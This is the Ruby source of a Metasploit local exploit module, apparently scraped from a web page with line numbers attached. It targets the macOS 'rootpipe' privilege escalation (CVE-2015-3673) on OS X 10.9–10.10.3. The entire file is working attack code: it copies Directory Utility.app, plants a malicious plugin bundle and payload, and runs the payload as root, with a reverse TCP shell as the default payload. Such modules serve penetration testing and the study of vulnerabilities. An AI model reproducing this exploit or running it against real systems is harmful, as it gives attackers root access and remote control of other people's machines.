1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 |
## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit4 < Msf::Exploit::Local Rank = GreatRanking include Msf::Post::OSX::System include Msf::Exploit::EXE include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => 'Apple OS X Entitlements Rootpipe Privilege Escalation', 'Description'=> %q{ This module exploits the rootpipe vulnerability and bypasses Apple's initial fix for the issue by injecting code into a process with the 'admin.writeconfig' entitlement. }, 'Author' => [ 'Emil Kvarnhammar', # Vulnerability discovery and PoC 'joev'# Copy/paste monkey ], 'References' => [ ['CVE', '2015-3673'], ['URL', 'https://truesecdev.wordpress.com/2015/07/01/exploiting-rootpipe-again/'] ], 'DisclosureDate' => 'Jul 1 2015', 'License'=> MSF_LICENSE, 'Platform' => 'osx', 'Arch' => ARCH_X86_64, 'SessionTypes' => ['shell'], 'Privileged' => true, 'Targets'=> [ ['Mac OS X 10.9-10.10.3', {}] ], 'DefaultTarget'=> 0, 'DefaultOptions' => { 'PAYLOAD' => 'osx/x64/shell_reverse_tcp', 'PrependSetreuid' => true } )) register_options([ OptString.new('WRITABLEDIR', [true, 'Writable directory', '/.Trashes']) ]) end def check if ver? && admin? vprint_status("Version is between 10.9 and 10.10.3, and is admin.") return Exploit::CheckCode::Vulnerable else return Exploit::CheckCode::Safe end end def exploit print_status("Copying Directory Utility.app to #{new_app}") cmd_exec("cp -R '/System/Library/CoreServices/Applications/Directory Utility.app' '#{new_app}'") cmd_exec("mkdir -p '#{new_app}/Contents/PlugIns/RootpipeBundle.daplug/Contents/MacOS'") print_status("Writing bundle plist to <code>#{plist_file}'") write_file(plist_file, plist) print_status("Writing payload to </code>#{payload_file}'") write_file(payload_file, binary_payload) register_file_for_cleanup(payload_file) print_status("Writing malicious shared library to `#{exploit_file}'") write_file(exploit_file, plugin_exploit) print_status("Running Directory Utility.app") cmd_exec("/bin/sh -c 'PAYLOAD_IN="+payload_file+" PAYLOAD_OUT="+root_file+" #{new_app}/Contents/MacOS/Directory\\ Utility'") print_status("Deleting Directory Utility.app") cmd_exec('rm -Rf "#{new_app}"') print_status('Executing payload...') cmd_exec("/bin/sh -c '#{root_file} &'") end def ver? Gem::Version.new(get_sysinfo['ProductVersion']).between?( Gem::Version.new('10.9'), Gem::Version.new('10.10.3') ) end def admin? cmd_exec('groups | grep -wq admin && echo true') == 'true' end def sploit "#{datastore['PYTHON']} #{exploit_file} #{payload_file} #{payload_file}" end def plugin_exploit File.read(File.join( Msf::Config.data_directory, 'exploits', 'CVE-2015-3673', 'exploit.daplug' )) end def binary_payload Msf::Util::EXE.to_osx_x64_macho(framework, payload.encoded) end def exploit_file "#{new_app}/Contents/PlugIns/RootpipeBundle.daplug/Contents/MacOS/RootpipeBundle" end def plist_file "#{new_app}/Contents/PlugIns/RootpipeBundle.daplug/Contents/Info.plist" end def new_app @app ||= "#{datastore['WRITABLEDIR']}/#{Rex::Text.rand_text_alpha(8)}.app" end def plist %Q| <?xml version="1.0" encoding="UTF-8"?> <plist version="1.0"> <dict> <key>CFBundleGetInfoString</key> <string>RootpipeBundle</string> <key>CFBundleExecutable</key> <string>RootpipeBundle</string> <key>CFBundleIdentifier</key> <string>com.root.pipe</string> <key>CFBundleName</key> <string>RootpipeBundle</string> <key>CFBundleShortVersionString</key> <string>0.01</string> <key>CFBundleInfoDictionaryVersion</key> <string>6.0</string> <key>CFBundlePackageType</key> <string>APPL</string> <key>IFMajorVersion</key> <integer>0</integer> <key>IFMinorVersion</key> <integer>1</integer> </dict> </plist> | end def payload_file @payload_file ||= "#{datastore['WRITABLEDIR']}/#{Rex::Text.rand_text_alpha(8)}" end def root_file @root_file ||= "#{datastore['WRITABLEDIR']}/#{Rex::Text.rand_text_alpha(8)}" end end |